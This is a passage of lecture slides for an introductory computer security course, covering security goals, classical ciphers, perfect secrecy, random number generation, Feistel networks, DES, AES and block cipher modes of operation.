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What is this course about?

Aims
to cover essential concepts of computer security and cryptography

Objectives
By the end of the course you should

be familiar with core security terms and concepts;

have gained basic insight into aspects of modern cryptography and
its applications;

have a basic understanding of some commonly used attack
techniques and protection mechanisms;

appreciate the range of meanings that “security” has across different
applications.
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Outline

Cryptography

Entity authentication

Access control

Operating system security

Software security

Network security

Security policies and management
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Recommended reading

While this course does not follow any particular textbook, the following
two together provide good introductions at an appropriate level of detail:

Christof Paar, Jan Pelzl: Understanding Cryptography. Springer,
2010
http://www.springerlink.com/content/978-3-642-04100-6/
http://www.crypto-textbook.com/

Dieter Gollmann: Computer Security. 2nd ed., Wiley, 2006

The course notes and some of the exercises also contain URLs with more
detailed information.
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Computer Security / Information Security

Definition
Computer Security: the discipline of managing malicious intent and
behaviour involving information and communication technology

Malicious behaviour can include

Fraud/theft – unauthorised access to money, goods or services

Vandalism – causing damage for personal reasons (frustration, envy,
revenge, curiosity, self esteem, peer recognition, . . . )

Terrorism – causing damage, disruption and fear to intimidate

Warfare – damaging military assets to overthrow a government

Espionage – stealing information to gain competitive advantage

Sabotage – causing damage to gain competitive advantage

“Spam” – unsolicited marketing wasting time/resources

Illegal content – child sexual abuse images, copyright infringement,
hate speech, blasphemy, . . . (depending on jurisdiction) ↔ censorship

Security vs safety engineering: focus on intentional rather than
accidental behaviour, presence of intelligent adversary.
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Where is information security a concern?

Many organisations are today critically dependent on the flawless
operation of computer systems. Without these, we might lose

in a business environment:

legal compliance, cash flow, business
continuity, profitability, commercial image and shareholder
confidence, product integrity, intellectual property and competitive
advantage

in a military environment: exclusive access to and effectiveness of
weapons, electronic countermeasures, communications secrecy,
identification and location information, automated defences

in a medical environment: confidentiality and integrity of patient
records, unhindered emergency access, equipment safety, correct
diagnosis and treatment information

in households: PC, privacy, correct billing, burglar alarms

in society at large: utility services, communications, transport,
tax/benefits collection, goods supply, . . .
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Cryptography: application examples

Home and Business:

Mobile/cordless phones, DVD players, pay-TV decoders, game consoles,
utility meters, Internet (SSL, S/MIME, PGP, SSH), software license
numbers, door access cards, car keys, burglar alarms

Military:

Identify friend/foe systems, tactical radios, low probability of intercept
and jamming resistant radios and radars (spread-spectrum and
frequency-hopping modulation), weapon-system unlock codes and
permissive action links for nuclear warheads, navigation signals

Banking:

Card authentication codes, PIN verification protocols, funds transfers,
online banking, electronic purses, digital cash
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Common information security targets

Most information-security concerns fall into three broad categories:

Confidentiality ensuring that information is accessible only to those
authorised to have access

Integrity safeguarding the accuracy and completeness of
information and processing methods

Availability ensuring that authorised users have access to
information and associated assets when required

Alice Bob

Eve

Alice BobMallory
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Aspects of integrity and availability protection

Rollback – ability to return to a well-defined valid earlier state (→
backup, revision control, undo function)

Authenticity – verification of the claimed identity of a
communication partner

Non-repudiation – origin and/or reception of message cannot be
denied in front of third party

Audit – monitoring and recording of user-initiated events to detect
and deter security violations

Intrusion detection – automatically notifying unusual events

“Optimistic security”

Temporary violations of security policy may be tolerable where correcting
the situation is easy and the violator is accountable. (Applicable to
integrity and availability, but usually not to confidentiality requirements.)
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Variants of confidentiality

Data protection/personal data privacy – fair collection and use of
personal data, in Europe a set of legal requirements

Anonymity/untraceability – ability to use a resource without
disclosing identity/location

Unlinkability – ability to use a resource multiple times without others
being able to link these uses together
HTTP “cookies” and the Global Unique Document Identifier (GUID) in Microsoft Word
documents were both introduced to provide linkability.

Pseudonymity – anonymity with accountability for actions.

Unobservability – ability to use a resource without revealing this
activity to third parties
low-probability-of-intercept radio, steganography, information hiding

Copy protection, information flow control –
ability to control the use and flow of information

A more general proposal to define of some of these terms by Pfitzmann/Köhntopp:
http://www.springerlink.com/link.asp?id=xkedq9pftwh8j752
http://dud.inf.tu-dresden.de/Anon_Terminology.shtml
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Cryptology

= Cryptography + Cryptanalysis

Types of cryptanalysis:
ciphertext-only attack – the cryptanalyst obtains examples of
ciphertext and knows statistical properties of typical plaintext

known-plaintext attack – the cryptanalyst obtains examples of
ciphertext/plaintext pairs

chosen-plaintext attack – the cryptanalyst can generate a number of
plaintexts and will obtain the corresponding ciphertext

adaptive chosen-plaintext attack – the cryptanalyst can perform
several chosen-plaintext attacks and use knowledge gained from
previous ones in the preparation of new plaintext

Goal is always to find the key or any other information that helps in
decrypting or encrypting new text.
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Kerckhoffs’ principle I

Requirements for a good traditional military encryption system:

1 The system must be substantially, if not mathematically,
undecipherable;

2 The system must not require secrecy and can be stolen by the
enemy without causing trouble;

3 It must be easy to communicate and remember the keys without
requiring written notes, it must also be easy to change or modify the
keys with different participants;

4 The system ought to be compatible with telegraph communication;

5 The system must be portable, and its use must not require more
than one person;

6 Finally, regarding the circumstances in which such system is applied,
it must be easy to use and must neither require stress of mind nor
the knowledge of a long series of rules.

Auguste Kerckhoffs: La cryptographie militaire, Journal des sciences militaires, 1883.
http://petitcolas.net/fabien/kerckhoffs/
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Kerckhoffs’ principle II

Requirement for a modern encryption system:

1 It was evaluated assuming that the enemy knows the system.

2 Its security relies entirely on the key being secret.

Note:

The design and implementation of a secure communication system is
a major investment and is not easily and quickly repeated.

Relying on the enemy not to know the system is “security by
obscurity”.

The most trusted cryptosystems have been published, standardized,
and withstood years of cryptanalysis.

A cryptographic key should be just a random choice that can be
easily replaced.

Keys can and will be lost: cryptographic systems should provide
support for easy rekeying, redistribution of keys, and quick
revocation of compromised keys.
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Some basic discrete mathematics notation

|A| is the number of elements (size) of the finite set A.

A1 × A2 × · · · × An is the set of all n-tuples (a1, a2, . . . , an) with
a1 ∈ A1, a2 ∈ A2, etc. If all the sets Ai (1 ≤ i ≤ n) are finite:
|A1 × A2 × · · · × An| = |A1| · |A2| · · · · · |An|.
An is the set of all n-tuples (a1, a2, . . . , an) = a1a2 . . . an with
a1, a2, . . . , an ∈ A. If A is finite then |An| = |A|n.

A≤n =
⋃n

i=0 Ai and A∗ =
⋃∞

i=0 Ai

Function f : A→ B maps each element of A to an element of B:
a 7→ f (a) or b = f (a) with a ∈ A and b ∈ B.

A function f : A1 × A2 × · · · × An → B maps each element of A to
an element of B: (a1, a2, . . . , an) 7→ f (a1, a2, . . . , an) or
f (a1, a2, . . . , an) = b.

A permutation f : A↔ A maps A onto itself and is invertible:
x = f −1(f (x)). There are |Perm(A)| = |A|! = 1 · 2 · · · · · |A|
permutations over A.

BA is the set of all functions of the form f : A→ B. If A and B are
finite, there will be |BA| = |B||A| such functions.
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Groups

A group (G , •) is a set G and an operator • : G × G → G such that

a • b ∈ G for all a, b ∈ G (closure)

a • (b • c) = (a • b) • c for all a, b, c ∈ G (associativity)

there exists 1G ∈ G with a • 1G = 1G • a = a for all a ∈ G
(neutral element).

for each a ∈ G there exists b ∈ G such that a • b = b • a = 1G

(inverse element)

If also a • b = b • a for all a, b ∈ G (commutativity) then (G , •) is an
abelian group.

If there is no inverse element for each element, (G , •) is a monoid.

Examples of abelian groups:

(Z,+), (R,+), (R \ {0}, ·)
({0, 1}n,⊕) where a1a2 . . . an ⊕ b1b2 . . . bn = c1c2 . . . cn with
(ai + bi ) mod 2 = ci (for all 1 ≤ i ≤ n, ai , bi , ci ∈ {0, 1})
= bit-wise XOR

Examples of monoids: (Z, ·), ({0, 1}∗, ||) (concatenation of bit strings)
15



Rings, fields

A ring (R,�,�) is a set R and two operators � : R × R → R and
� : R × R → R such that

(R,�) is an abelian group

(R,�) is a monoid

a � (b � c) = (a � b) � (a � c) and (a � b) � c = (a � c) � (b � c)
(distributive law)

If also a � b = b � a, then we have a commutative ring.

Example for a commutative ring: (Z[x ],+, ·), where Z[x ] is the set of
polynomials with variable x and coefficients from Z.

A field (F ,�,�) is a set F and two operators � : F × F → F and
� : F × F → F such that

(F ,�) is an abelian group with neutral element 0F

(F \ {0F},�) is also an abelian group with neutral element 1F 6= 0F

a � (b � c) = (a � b) � (a � c) and (a � b) � c = (a � c) � (b � c)
(distributive law)

Examples for fields: (Q,+, ·), (R,+, ·), (C,+, ·)
16



Number theory and modular arithmetic

For integers a, b, c , d and n > 1

a mod b = c ⇒ 0 ≤ c < b ∧ ∃d : a− db = c

we write a ≡ b (mod n) if n|(a− b)

ap−1 ≡ 1 (mod p) if gcd(a, p) = 1 (Fermat’s little theorem)

we call the set Zn = {0, 1, . . . , n − 1} the integers modulo n and
perform addition, subtraction, multiplication and exponentiation
modulo n.

(Zn,+) is an abelian group and (Zn,+, ·) is a commutative ring

a ∈ Zn has a multiplicative inverse a−1 with aa−1 ≡ 1 (mod n) if
and only if gcd(a, n) = 1. The multiplicative group Z∗n of Zn is the
set of all elements that have an inverse.

If p is prime, then Zp is a (finite) field, that is every element except
0 has a multiplicative inverse, i.e. Z∗p = {1, . . . , n − 1}.
Z∗p has a generator g with Z∗p = {g i mod p | 0 ≤ i ≤ p − 2}.
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Finite fields (Galois fields)

(Zp,+, ·) is a finite field with p elements, where p is a prime number.
Also written as GF(p), the “Galois field” of order p.

We can also construct finte fields GF(pn) with pn elements:

Elements: polynomials over variable x with degree less than n and
coefficients from the finite field Zp

Modulus: select an irreducible polynomial T ∈ Zp[x ] of degree n

T (x) = cnxn + · · ·+ c2x2 + c1x + c0

where ci ∈ Zp for all 0 ≤ i ≤ n. An irreducible polynomial cannot be
factored into two other polynomials from Zp[x ] \ {0, 1}.
Addition: ⊕ is normal polynomial addition (i.e., pairwise addition of
the coefficients in Zp)

Multiplication: ⊗ is normal polynomial multiplication, then divide
by T and take the remainder (i.e., multiplication modulo T ).

Theorem: any finite field has pn elements (p prime, n > 0)
Theorem: all finite fields of the same size are isomorphic

18



GF(2n)

GF(2) is particularly easy to implement in hardware:

addition = subtraction = XOR gate

multiplication = AND gate

division can only be by 1, which merely results in the first operand

Of particular practical interest in modern cryptography are larger finite
fields of the form GF(2n):

Polynomials are represented as bit words, each coefficient = 1 bit.

Addition/subtraction is implemented via bit-wise XOR instruction.

Multiplication and division of binary polynomials is like binary
integer multiplication and division, but without carry-over bits. This
allows the circuit to be clocked much faster.

Recent Intel/AMD CPUs have added instruction PCLMULQDQ for
64× 64-bit carry-less multipication. This helps to implement arithmetic
in GF(264) or GF(2128) more efficiently.
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GF(28) example

The finite field GF(28) consists of the 256 polynomials of the form

c7x7 + · · ·+ c2x2 + c1x + c0 ci ∈ {0, 1}

each of which can be represented by the byte c7c6c5c4c3c2c1c0.

As modulus we chose the irreducible polynomial

T (x) = x8 + x4 + x3 + x + 1 or 1 0001 1011

Example operations:

(x7 + x5 + x + 1)⊕ (x7 + x6 + 1) = x6 + x5 + x
or equivalently 1010 0011⊕ 1100 0001 = 0110 0010

(x6 + x4 + 1)⊗T (x2 + 1) = [(x6 + x4 + 1)(x2 + 1)] mod T (x) =
(x8 + x4 + x2 + 1) mod (x8 + x4 + x3 + x + 1) =
(x8 + x4 + x2 + 1)	 (x8 + x4 + x3 + x + 1) = x3 + x2 + x
or equivalently
0101 0001⊗T 0000 0101 = 1 0001 0101⊕ 1 0001 1011 = 0000 1110

20



Historic examples of simple ciphers (insecure)

Shift Cipher: Treat letters {A, . . . ,Z} like integers {0, . . . , 25} = Z26.
Choose key K ∈ Z26, encrypt by addition modulo 26, decrypt by
subtraction modulo 26.

Example with K=25: IBM→HAL.

K = 3 known as Caesar Cipher, K = 13 as rot13.

The tiny key space size 26 makes brute force key search trivial.

Transposition Cipher: K is permutation of letter positions.

Key space is n!, where n is the permutation block length.

Substitution Cipher (monoalphabetic): Key is permutation
K : Z26 ↔ Z26. Encrypt plaintext P = p1p2 . . . pm with ci = K (pi ) to get
ciphertext C = c1c2 . . . cm, decrypt with pi = K−1(ci ).

Key space size 26! > 4× 1026 makes brute force search infeasible.
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Monoalphabetic substitution ciphers allow easy ciphertext-only attack
with the help of language statistics (for messages that are at least few
hundred characters long):

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
0

0.02

0.04

0.06

0.08

0.1

0.12

0.14
English letter frequency

The most common letters in English:
E, T, A, O, I, N, S, H, R, D, L, C, U, M, W, F, G, Y, P, B, V, . . .

The most common digrams in English:
TH, HE, IN, ER, AN, RE, ED, ON, ES, ST, EN, AT, TO, . . .

The most common trigrams in English:
THE, ING, AND, HER, ERE, ENT, THA, NTH, WAS, ETH, . . .
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Vigenère cipher

ABCDEFGHIJKLMNOPQRSTUVWXYZ
BCDEFGHIJKLMNOPQRSTUVWXYZA
CDEFGHIJKLMNOPQRSTUVWXYZAB
DEFGHIJKLMNOPQRSTUVWXYZABC
EFGHIJKLMNOPQRSTUVWXYZABCD
FGHIJKLMNOPQRSTUVWXYZABCDE
GHIJKLMNOPQRSTUVWXYZABCDEF
HIJKLMNOPQRSTUVWXYZABCDEFG
IJKLMNOPQRSTUVWXYZABCDEFGH
JKLMNOPQRSTUVWXYZABCDEFGHI
KLMNOPQRSTUVWXYZABCDEFGHIJ
LMNOPQRSTUVWXYZABCDEFGHIJK
MNOPQRSTUVWXYZABCDEFGHIJKL
NOPQRSTUVWXYZABCDEFGHIJKLM
OPQRSTUVWXYZABCDEFGHIJKLMN
PQRSTUVWXYZABCDEFGHIJKLMNO
QRSTUVWXYZABCDEFGHIJKLMNOP
RSTUVWXYZABCDEFGHIJKLMNOPQ
STUVWXYZABCDEFGHIJKLMNOPQR
TUVWXYZABCDEFGHIJKLMNOPQRS
UVWXYZABCDEFGHIJKLMNOPQRST
VWXYZABCDEFGHIJKLMNOPQRSTU
WXYZABCDEFGHIJKLMNOPQRSTUV
XYZABCDEFGHIJKLMNOPQRSTUVW
YZABCDEFGHIJKLMNOPQRSTUVWX
ZABCDEFGHIJKLMNOPQRSTUVWXY

Inputs:

Key word K = k1k2 . . . kn

Plain text P = p1p2 . . . pm

Encrypt into ciphertext:

ci = (pi + k[(i−1) mod n]+1) mod 26

Example: K = SECRET

S E C R E T S E C ...

A T T A C K A T D ...

S X V R G D S X F ...

The modular addition can be replaced with XOR:

ci = pi ⊕ k[(i−1) mod n]+1 pi , ki , ci ∈ {0, 1}

Vigenère is an example of a polyalphabetic cipher.
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Perfect secrecy I

Computational security – The most efficient known algorithm for
breaking a cipher would require far more computational steps than
any hardware available to an opponent can perform.

Unconditional security – The opponent has not enough information
to decide whether one plaintext is more likely to be correct than
another, even if unlimited computational power were available.
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Perfect secrecy II
Let P, C,K denote the sets of possible plaintexts, ciphertexts and keys.
Let further E : K×P → C and D : K× C → P with D(K ,E (K ,P)) = P
denote the encrypt and decrypt functions of a cipher system. Let also
P ∈ P, C ∈ C and K ∈ K denote random variables for plaintext,
ciphertext and keys, where pP(P) and pK(K ) are the cryptanalyst’s
a-priori knowledge about the distribution of plaintext and keys.

The distribution of ciphertexts can then be calculated as

pC(C ) =
∑

K

pK(K ) · pP(D(K ,C )).

We can also determine the conditional probability

pC(C |P) =
∑

{K |P=D(K ,C)}

pK(K )

and combine both using Bayes theorem to the plaintext probability
distribution

pP(P|C ) =
pP(P) · pC(C |P)

pC(C )
=

pP(P) ·∑{K |P=D(K ,C)} pK(K )∑
K pK(K ) · pP(D(K ,C ))

.
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Perfect secrecy III

We call a cipher system unconditionally secure if

pP(P|C ) = pP(P)

for all P,C .

Perfect secrecy means that the cryptanalyst’s a-posteriori probability
distribution of the plaintext, after having seen the ciphertext, is identical
to its a-priori distribution. In other words: looking at the ciphertext leads
to no new information.
C.E. Shannon: Communication theory of secrecy systems. Bell System Technical Journal, Vol 28,
Oct 1949, pp 656–715. http://netlab.cs.ucla.edu/wiki/files/shannon1949.pdf

26

http://netlab.cs.ucla.edu/wiki/files/shannon1949.pdf


Vernam cipher / one-time pad

The one-time pad is a variant of the Vigenère Cipher with m = n. The
key is as long as the plaintext. No key bit is ever used to encrypt more
than one plaintext bit:

ci = pi ⊕ ki i ∈ {1, . . . ,m}

Note: If p is a random bit with some probability distribution and k is a random bit with uniform
probability distribution, then p ⊕ k will have uniform probability distribution.
[This works also in (Zn, +) or (GF(2n),⊕).]

For each possible plaintext P, there exists a key K that turns a given
ciphertext C into P = D(K ,C ). If all K are equally likely, then also all P
will be equally likely for a given C , which fulfills Shannon’s definition of
perfect secrecy.

What happens if you use a one-time pad twice?

One-time pads have been used intensively during significant parts of the 20th century for
diplomatic communications security, e.g. on the telex line between Moscow and Washington. Keys
were generated by hardware random bit stream generators and distributed via trusted couriers.

In the 1940s, the Soviet Union encrypted part of its diplomatic communication using recycled
one-time pads, leading to the success of the US decryption project VENONA.
http://www.nsa.gov/public_info/declass/venona/
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Streamciphers I

A streamcipher replaces the inconvenient one-time pad with
algorithmically generated sequences of pseudo-random numbers or bits,
with key K and/or “seed” R0 being secret:

Ri = fK (Ri−1, i)

Ci = Pi ⊕ gK (Ri , i)

How to pick f and g?

Pseudo-random number generators (PRNGs) are widely available in
algorithm libraries for simulations, games, probabilistic algorithms,
testing, etc. However, their behaviour is often easy to predict from just a
few samples of their output. Statistical random-number quality tests
(e.g., Marsaglia’s Diehard test) provide no information about
cryptoanalytic resistance.

Stream ciphers require special cryptographically secure pseudo-random
number generators.
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Streamciphers II

Example (insecure)

Linear congruential generator with secret parameters (a, b,R0):

Ri+1 = aRi + b mod m

Attack: guess some plain text (e.g., known file header), obtain for
example (R1,R2,R3), then solve system of linear equations over Zm:

R2 ≡ aR1 + b (mod m)

R3 ≡ aR2 + b (mod m)

Solution:

a ≡ (R2 − R3)/(R1 − R2) (mod m)

b ≡ R2 − R1(R2 − R3)/(R1 − R2) (mod m)

Multiple solutions if gcd(R1 − R2,m) 6= 1: resolved using R4 or just by
trying all possible values.
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Random bit generation I

In order to generate the keys and nonces needed in cryptographic
protocols, a source of random bits unpredictable for any adversary is
needed. The highly deterministic nature of computing environments
makes finding secure seed values for random bit generation a non-trivial
and often neglected problem.

Example (insecure)

The Netscape 1.1 web browser used a random-bit generator that was
seeded from only the time of day in microseconds and two process IDs.
The resulting conditional entropy for an eavesdropper was small enough
to enable a successful brute-force search of the SSL encryption session
keys.
Ian Goldberg, David Wagner: Randomness and the Netscape browser. Dr. Dobb’s Journal,
January 1996.
http://www.eecs.berkeley.edu/~daw/papers/ddj-netscape.html
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Random bit generation II

Examples for sources of randomness:

dedicated hardware (amplified thermal noise from reverse-biased
diode, unstable oscillators, Geiger counters)

high-resolution timing of user behaviour (key strokes, mouse
movement)

high-resolution timing of peripheral hardware response times (e.g.,
disk drives)

noise from analog/digital converters (sound card, camera)

network packet timing and content

high-resolution time

None of these random sources alone provides high-quality statistically
unbiased random bits, but such signals can be fed into a hash function to
condense their accumulated entropy into a smaller number of good
random bits.
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Random bit generation III

The provision of a secure source of random bits is now commonly
recognised to be an essential operating system service.

Example (good practice)

The Linux /dev/random device driver uses a 4096-bit large entropy pool
that is continuously hashed with keyboard scan codes, mouse data,
inter-interrupt times, and mass storage request completion times in order
to form the next entropy pool. Users can provide additional entropy by
writing into /dev/random and can read from this device driver the
output of a cryptographic pseudo random bit stream generator seeded
from this entropy pool. Operating system boot and shutdown scripts
preserve /dev/random entropy across reboots on the hard disk.

http://www.cs.berkeley.edu/~daw/rnd/
http://www.ietf.org/rfc/rfc1750.txt
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Pseudo-random functions

Consider all possible functions of the form

r : {0, 1}m → {0, 1}n

How many different r are there? 2n·2m

We obtain an m-bit to n-bit random function r by randomly picking one
of all these possible functions, with uniform probability.

A pseudo-random function (PRF) is a fixed, efficiently computable
function

f : {0, 1}k × {0, 1}m → {0, 1}n

that depends on an additional input parameter K ∈ {0, 1}k , the key.
Each choice of K leads to a function

fK : {0, 1}m → {0, 1}n with fK (x) = f (K , x)

For typical lengths (e.g., k ,m ≥ 128), the set of all possible functions fK

will be a tiny subset of the set of all possible functions r .

For a secure pseudo-random function f there must be no practical way to
distinguish between fK and r for anyone who does not know K .
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Security of a pseudo-random function

To test the PRF f : {0, 1}k ×{0, 1}m → {0, 1}n play the following game:

1 Player A randomly picks with uniform probability a bit b ∈ {0, 1}
2 If b = 0, player A picks a random function r : {0, 1}m → {0, 1}n

3 If b = 1, player A picks with uniform probability a key K ∈ {0, 1}k .

4 Player B sends a challenge xi ∈ {0, 1}m

5 If b = 0 then player A answers with r(xi ), otherwise with f (K , xi )

6 Repeat steps 4 and 5 for i = 1, . . . , q

7 Player B outputs bit b′ ∈ {0, 1}, her guess of the value of b

If the advantage

AdvPRF =
∣∣Prob[b′ = 1|b = 1]− Prob[b′ = 1|b = 0]

∣∣ ∈ [0, 1]

is negligible (e.g., < 2−80, dropping exponentially with rising k) for any
known statistical test algorithm that player B might use, we consider f to
be a secure PRF.
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“Computationally infeasible”

With ideal cryptographic primitives (e.g., PRF indistinguishable from
random functions), the only form of possible cryptanalysis should be an
exhaustive search of all possible keys (brute force attack).

The following numbers give a rough idea of the limits involved:

Let’s assume we can later this century produce VLSI chips with 10 GHz
clock frequency and each of these chips costs 10 $ and can test in a
single clock cycle 100 keys. For 10 million $, we could then buy the chips
needed to build a machine that can test 1018 ≈ 260 keys per second.
Such a hypothetical machine could break an 80-bit key in 7 days on
average. For a 128-bit key it would need over 1012 years, that is over
100× the age of the universe.

Rough limit of computational feasiblity: 280 iterations
(i.e., < 260 feasible with effort, but > 2100 certainly not)

For comparison: the fastest key search effort published so far achieved in the order of 237 keys per
second, using many thousand Internet PCs.

http://www.cl.cam.ac.uk/~rnc1/brute.html
http://www.distributed.net/
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Pseudo-random permutations

Similar to pseudo-random functions, we can also define pseudo-random
permutations E and matching inverse D

E : {0, 1}k × {0, 1}n → {0, 1}n

D : {0, 1}k × {0, 1}n → {0, 1}n

with
DK (EK (x)) = x for all K ∈ {0, 1}k , x ∈ {0, 1}n

For anyone not knowing anything about the uniformly chosen secret key
K , the function EK should be computationally indistinguishable from a
random permutation that was picked with uniform probability distribution
from the 2n! possible permutations of the form f : {0, 1}n ↔ {0, 1}n.
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Blockciphers

Practical, efficient algorithms that try to implement a pseudo-random
permutation (and its inverse) are called “blockciphers”.

Typical alphabet and key size: k , n = 128

Implementation goals and strategies:

Confusion – make relationship between key and ciphertext as
complex as possible

Diffusion – remove statistical links between plaintext and ciphertext

Prevent adaptive chosen-plaintext attacks, including differential and
linear cryptanalysis

Product cipher: iterate many rounds of a weak pseudo-random
permutation to get a strong one

Feistel structure, substitution/permutation network, key-dependent
s-boxes, mix incompatible groups, transpositions, linear
transformations, arithmetic operations, non-linear substitutions, . . .
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Feistel structure I

Problem: Build a pseudo-random permutation EK : P ↔ C (invertible)
using pseudo-random functions fK ,i (non-invertible) as building blocks.

Solution: Split the plaintext block P (e.g., 64 bits) into two
equally-sized halves L and R (e.g., 32 bits each):

P = L0||R0

Then the non-invertible function fK is applied in each round i
alternatingly to one of these halves, and the result is XORed onto the
other half, respectively:

Ri = Ri−1 ⊕ fK ,i (Li−1) and Li = Li−1 for odd i

Li = Li−1 ⊕ fK ,i (Ri−1) and Ri = Ri−1 for even i

After rounds i = 1, . . . , n have been applied, the two halves are
concatenated to form the ciphertext block C :

C = Ln||Rn
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Feistel structure II

Plaintext:

L0 R0

L1 R1

⊕fK ,1

L2 R2

⊕ fK ,2

L3 R3

⊕fK ,3
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Feistel structure II

n = 1 round:

L0 R0

L1 R1

⊕fK ,1

L2 R2

⊕ fK ,2

L3 R3

⊕fK ,3
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Feistel structure II

n = 2 rounds:

L0 R0

L1 R1

⊕fK ,1

L2 R2

⊕ fK ,2

L3 R3

⊕fK ,3
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Feistel structure II

n = 3 rounds:

L0 R0

L1 R1

⊕fK ,1

L2 R2

⊕ fK ,2

L3 R3

⊕fK ,3
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Feistel structure III

Decryption:

L0 R0

L1 R1

⊕fK ,1

L2 R2

⊕ fK ,2

L3 R3

⊕fK ,3
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Feistel structure IV

Decryption works backwards, undoing round after round, starting from
the ciphertext. This is possible, because the Feistel structure is arranged
such that during decryption in any round i = n, . . . , 1, the input value for
fK ,i is known, as it formed half of all bits of the result of round i during
encryption:

Ri−1 = Ri ⊕ fK ,i (Li ) and Li−1 = Li for odd i
Li−1 = Li ⊕ fK ,i (Ri ) and Ri−1 = Ri for even i

Luby–Rackoff construction
If f is a pseudo-random function, n = 3 rounds are needed to build a
pseudo-random permutation.
M. Luby, C. Rackoff: How to construct pseudorandom permutations from pseudorandom functions.
CRYPTO’85, LNCS 218, http://www.springerlink.com/content/27t7330g746q2168/
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Data Encryption Standard (DES)

In 1977, the US government standardized a block cipher for unclassified
data, based on a proposal by an IBM team led by Horst Feistel.

DES has a block size of 64 bits and a key size of 56 bits. The relatively
short key size and its limited protection against brute-force key searches
immediately triggered criticism, but this did not prevent DES from
becoming the most commonly used cipher for banking networks and
numerous other applications for more than 25 years.

DES uses a 16-round Feistel structure. Its round function f is much
simpler than a good pseudo-random function, but the number of
iterations increases the complexity of the resulting permutation
sufficiently.

DES was designed for hardware implementation such that the same
circuit can be used with only minor modification for encryption and
decryption. It is not particularly efficient in software.
http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf
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The round function f expands the 32-bit
input to 48-bit, XORs this with a 48-bit
subkey, and applies eight carefully designed
6-bit to 4-bit substitution tables
(“s-boxes”). The expansion function E
makes sure that each sbox shares one input
bit with its left and one with its right
neighbour.
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The key schedule of DES
breaks the key into two 28-bit
halves, which are left shifted
by two bits in most rounds
(only one bit in round
1,2,9,16) before 48-bit are
selected as the subkey for
each round.
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Strengthening DES

Two techniques have been widely used to extend the short DES key size:

DESX 2× 64 + 56 = 184 bit keys:

DESXK1,K2,K3 (P) = K1 ⊕ DESK2 (P ⊕ K3)

Triple DES (TDES) 3× 56 = 168-bits keys:

TDESK (P) = DESK3 (DES−1
K2

(DESK1 (P)))

TDES−1
K (C ) = DES−1

K1
(DESK2 (DES−1

K3
(C )))

Where key size is a concern, K1 = K3 is used ⇒ 112 bit key. With
K1 = K2 = K3, the TDES construction is backwards compatible to DES.

Double DES would be vulnerable to a meet-in-the-middle attack that
requires only 257 iterations and 257 blocks of storage space: the known P
is encrypted with 256 different keys, the known C is decrypted with 256

keys and a collision among the stored results leads to K1 and K2.
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Advanced Encryption Standard (AES)

In November 2001, the US government published the new Advanced
Encryption Standard (AES), the official DES successor with 128-bit block
size and either 128, 192 or 256 bit key length. It adopted the “Rijndael”
cipher designed by Joan Daemen and Vincent Rijmen, which offers
additional block/key size combinations.

Each of the 9–13 rounds of this substitution-permutation cipher involves:

an 8-bit s-box applied to each of the 16 input bytes

permutation of the byte positions

column mix, where each of the four 4-byte vectors is multiplied with
a 4× 4 matrix in GF(28)

XOR with round subkey

The first round is preceded by another XOR with a subkey, the last round
lacks the column-mix step.

Software implementations usually combine the first three steps per byte
into 16 8-bit → 32-bit table lookups.

http://csrc.nist.gov/encryption/aes/
http://www.iaik.tu-graz.ac.at/research/krypto/AES/

Recent CPUs with AES hardware support: Intel/AMD x86 AES-NI instructions, VIA PadLock.

46

http://csrc.nist.gov/encryption/aes/
http://www.iaik.tu-graz.ac.at/research/krypto/AES/


AES round

Illustration by John Savard, http://www.quadibloc.com/crypto/co040401.htm
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Electronic Code Book (ECB) I

ECB is the simplest mode of operation for block ciphers (DES, AES).

The message P is cut into m n-bit blocks:

P1||P2|| . . . ||Pm = P||padding

Then the block cipher EK is applied to each n-bit block individually:

Ci = EK (Pi ) i = 1, . . . ,m

C = C1||C2|| . . . ||Cm

EK

P1

C1

EK

P2

C2

· · · EK

Pm

Cm
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Electronic Code Book (ECB) II

Avoid using Electronic Code Book (ECB) mode!

It suffers several problems:

Repeated plaintext messages (or blocks) can be recognised by the
eavesdropper as repeated ciphertext. If there are only few possible
messages, an eavesdropper might quickly learn the corresponding
ciphertext.

Plaintext block values are often not uniformly distributed, for
example in ASCII encoded English text, some bits have almost fixed
values.

As a result, not the entire input alphabet of the block cipher is
utilised, which simplifies for an eavesdropper building and using a
value table of EK .

http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
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Electronic Code Book (ECB) III

Plain-text bitmap:

DES-ECB encrypted:
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Randomized encryption

A randomized encryption scheme

Enc : {0, 1}k×{0, 1}r ×{0, 1}l → {0, 1}m

Dec : {0, 1}k×{0, 1}m → {0, 1}l

receives in addition to the k-bit key and l-bit plaintext also an r -bit
random value, which it uses to ensure that repeated encryption of the
same plaintext is unlikely to result in the same m-bit ciphertext.

With randomized encryption, the ciphertext will be slightly longer than
the plaintext: m > l , for example m = r + l .

51



Cipher Block Chaining (CBC) I

The Cipher Block Chaining mode is one way of constructing a
randomized encryption scheme from a blockcipher EK .

It XORs the previous ciphertext block into the plaintext block before
applying the block cipher. The entire ciphertext is randomised by
prefixing it with a randomly chosen initial vector (IV = C0):

Ci = EK (Pi ⊕ Ci−1)

EKPi Ci⊕
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Cipher Block Chaining (CBC) II

RND

C0

initial vector

EK

P1

C1

⊕

EK

P2

C2

⊕

· · · EK

Pm

Cm

⊕

The input of the block cipher EK is now uniformly distributed.

A repetition of block cipher input has to be expected only after around√
2n = 2

n
2 blocks have been encrypted with the same key, where n is the

block size in bits (→ birthday paradox).
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Plain-text bitmap:

DES-CBC encrypted:
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Cipher Feedback Mode (CFB)

Ci = Pi ⊕ EK (Ci−1)

As in CBC, C0 is a randomly selected initial vector, whose entropy will
propagate through the entire ciphertext.

This variant has two advantages over CBC, that can help to reduce
latency:

The blockcipher step needed to derive Ci can be performed before
Pi is known.

Incoming plaintext bits can be encrypted and output immediately;
no need to wait until another n-bit block is full.
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Output Feedback Mode (OFB)

Feeding the output of a block cipher back into its input leads to a
key-dependent sequence of pseudo-random blocks Ri = EK (Ri−1) with
R0 = 0:

EK Ri

Again, the key K should be replaced before in the order of 2
n
2 n-bit blocks

have been generated, to reduce the risk that the random block generator
enters a cycle such that Ri = Ri−k for some k � 2n and all i > j .

Output Feedback Mode is a stream cipher; the plaintext is simply XORed
with the output of the above pseudo-random bit stream generator:

R0 = 0, Ri = EK (Ri−1), Ci = Pi ⊕ Ri

OFB (and CFB) can also process messages in steps smaller than n-bit blocks, such as single bits or
bytes. To process m-bit blocks (m < n), an n-bit shift register is connected to the input of the
